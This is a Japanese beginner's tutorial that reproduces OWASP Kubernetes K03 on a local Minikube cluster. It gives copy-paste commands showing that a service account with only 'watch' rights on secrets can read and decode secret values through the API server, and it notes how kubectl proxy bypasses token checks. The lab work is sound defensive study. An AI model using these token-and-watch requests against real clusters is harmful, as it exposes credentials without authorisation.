【初学者向け】Kubernetes の過度な権限を持つ RBAC 設定を理解する

## はじめに
Kubenetesを触り始めて一週間、セキュリティ的に考慮しなきゃなところって何あるかなって探してたら、[OWASP Kubernetes Top 10](https://owasp.org/www-project-kubernetes-top-ten/2022/en/src/K03-overly-permissive-rbac)なるものを発見。その中の[K03: Overly Permissive RBAC](https://owasp.org/www-project-kubernetes-top-ten/2022/en/src/K03-overly-permissive-rbac)を試してたら意外なところでつまづいたりして、同じ思いしてほしくないので公開しました。

Kubenetesにおいてロールベースのアクセス制御（RBAC）は、誰がどのリソースやアクションにアクセスできるかを制御するために不可欠。意図せずユーザーやサービスアカウントに不要な `WATCH` 権限を与えられていると悪用できちゃうよってハナシ。

このチュートリアルでは、Minikube クラスタをセットアップして、実際にミスったRBAC設定で、コマンドコピペで動作するところまで書きました。


---

## 目次

- [前提条件](#前提条件)
- [Minikube のセットアップ](#minikube-のセットアップ)
- [セキュリティ問題の理解](#セキュリティ問題の理解)
- [WATCH 権限を持つサービスアカウントの作成](#watch-権限を持つサービスアカウントの作成)
- [不正なアクセスの実演](#不正なアクセスの実演)
  - [kubectl proxy による予期せぬ挙動](#kubectl-proxy-による予期せぬ挙動)
  - [問題の解決と正しいアプローチ](#問題の解決と正しいアプローチ)
- [一般的な問題のトラブルシューティング](#一般的な問題のトラブルシューティング)
- [リスクの軽減](#リスクの軽減)
- [クリーンアップ](#クリーンアップ)
- [結論](#結論)



## 環境と準備

- **MacOS 14.5（23F79）**
- **Docker のインストール**（Minikube で Docker ドライバーを使用する場合）
- **kubectl のインストール**：[kubectl のインストール方法](https://kubernetes.io/ja/docs/tasks/tools/)
- **Minikube のインストール**：[Minikube のインストール方法](https://minikube.sigs.k8s.io/docs/start/)



## Minikube のセットアップ

まず、Minikube を使用してローカル Kubernetes クラスタをセットアップ。

### ステップ 1: Minikube を起動

Docker ドライバーを使用して Minikube を起動。今回はDocker使ったけど、何でも良いと思う。なんのドライバも設定しないと、Qemuが使われてエラー出た。

```bash
minikube start --driver=docker
```

### ステップ 2: Minikube のステータスを確認

Minikube が正常に稼働していることを確認：

```bash
minikube status
```



## 今回のミソ

Kubernetes では、`WATCH` 権限によりユーザーはリソースの変更を監視できる。リソースが変更されると、`WATCH` 権限によりリソース全体のオブジェクトが見られるようになる。




## WATCH 権限を持つサービスアカウントの作成

`default` ネームスペース内で、 `WATCH` 権限のみを持つサービスアカウントを作成する。

### ステップ 1: サービスアカウントを作成

```bash
kubectl create serviceaccount only-watch-secrets-sa -n default
```

### ステップ 2: WATCH 権限を持つ Role を作成

`only-watch-secrets-role.yaml` というファイルを作成し、以下の内容を記述：

```yaml
apiVersion: rbac.authorization.k8s.io/v1
kind: Role
metadata:
  namespace: default
  name: only-watch-secrets-role
rules:
- apiGroups: [""]
  resources: ["secrets"]
  verbs: ["watch"]
```

Role を適用：

```bash
kubectl apply -f only-watch-secrets-role.yaml
```

### ステップ 3: Role をサービスアカウントにバインド

`only-watch-secrets-rolebinding.yaml` というファイルを作成し、以下の内容を記述：

```yaml
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
  namespace: default
  name: only-watch-secrets-binding
subjects:
- kind: ServiceAccount
  name: only-watch-secrets-sa
  namespace: default
roleRef:
  kind: Role
  name: only-watch-secrets-role
  apiGroup: rbac.authorization.k8s.io
```

RoleBinding を適用：

```bash
kubectl apply -f only-watch-secrets-rolebinding.yaml
```

---

## 不正なアクセスの実演

このサービスアカウントを使用してシークレットの変更を監視し、機密データがどのように露出するかを確認する。



### ステップ 1: サービスアカウントのトークンを取得

Kubernetes **v1.24 以降**の場合：

```bash
TOKEN=$(kubectl -n default create token only-watch-secrets-sa)
```

Kubernetes **v1.24 未満**の場合：

```bash
SECRET_NAME=$(kubectl -n default get sa only-watch-secrets-sa -o jsonpath='{.secrets[0].name}')
TOKEN=$(kubectl -n default get secret "$SECRET_NAME" -o jsonpath='{.data.token}' | base64 --decode)
```

トークンが空でないことを確認する：

```bash
echo $TOKEN
```

### ステップ 2: API サーバーのアドレスを取得

```bash
APISERVER=$(kubectl config view --minify -o jsonpath='{.clusters[0].cluster.server}')
```

### ステップ 3: シークレットの GET を試みる（失敗するはず）

サービスアカウントのトークンを使用してシークレットを取得：

```bash
curl -k -X GET "$APISERVER/api/v1/namespaces/default/secrets/my-secret" \
  -H "Authorization: Bearer $TOKEN"
```

**期待される出力**：

```json
{
  "kind": "Status",
  "apiVersion": "v1",
  "status": "Failure",
  "message": "secrets \"my-secret\" is forbidden: User \"system:serviceaccount:default:only-watch-secrets-sa\" cannot get resource \"secrets\" in API group \"\" in the namespace \"default\"",
  "reason": "Forbidden",
  "code": 403
}
```

### ステップ 4: シークレットの監視を開始

#### kubectl proxy による予期せぬ挙動

当初、`kubectl proxy` を使用して以下のコマンドを実行：

```bash
kubectl proxy &
```

その後、`curl` コマンドでシークレットにアクセス：

```bash
curl http://127.0.0.1:8001/api/v1/namespaces/default/secrets/my-secret \
  -H "Authorization: Bearer $TOKEN"
```

**ここでつまずいた！シークレットの内容が表示された。**

**問題点**：

- `kubectl proxy` を使用すると、リクエストはプロキシを起動したユーザーの権限で処理される（らしい）。
- `Authorization` ヘッダーは**無視**される


#### 問題の解決と正しいアプローチ

`kubectl proxy` を使用せず、API サーバーに直接リクエストを送信する。クエリパラメータをwatch=trueにしてる。

```bash
curl -k -X GET "$APISERVER/api/v1/namespaces/default/secrets?watch=true" \
  -H "Authorization: Bearer $TOKEN"
```


### ステップ 5: 別のターミナルで新しいシークレットを作成

新しいターミナルを開き、シークレットを作成する：

```bash
kubectl create secret generic my-secret --from-literal=secretPassword=verySecure
```

### ステップ 6: 出力を確認

`curl` コマンドを実行しているターミナルで以下のような出力が表示される：

```json
{
  "type": "ADDED",
  "object": {
    "kind": "Secret",
    "apiVersion": "v1",
    "metadata": {
      "name": "my-secret",
      "namespace": "default",
      ...
    },
    "data": {
      "secretPassword": "dmVyeVNlY3VyZQ=="
    },
    "type": "Opaque"
  }
}
```

### ステップ 8: シークレットデータをデコード

Base64 エンコードされたシークレットをデコードする：

```bash
echo 'dmVyeVNlY3VyZQ==' | base64 --decode
```

**出力**：

```
verySecure
```

**説明**：`GET` や `LIST` 権限がなくても、`WATCH` 権限によりサービスアカウントがシークレットデータにアクセスできた！！


## クリーンアップ

このチュートリアルで作成したリソースを削除する。

```bash
# 監視コマンドを停止（実行中の場合）
# curl の監視コマンドを実行しているターミナルで Ctrl+C を押します

# シークレットを削除
kubectl delete secret my-secret

# RoleBinding を削除
kubectl delete rolebinding only-watch-secrets-binding -n default

# Role を削除
kubectl delete role only-watch-secrets-role -n default

# サービスアカウントを削除
kubectl delete serviceaccount only-watch-secrets-sa -n default

# 必要に応じて、Minikube を停止
minikube stop
```

## 結論

`WATCH` 権限の扱いには気をつけることが一番重要って結論付けたかったけど、`kubectl proxy` の挙動が一番勉強になった。

---

**レッツKubernetes！！！！！！！**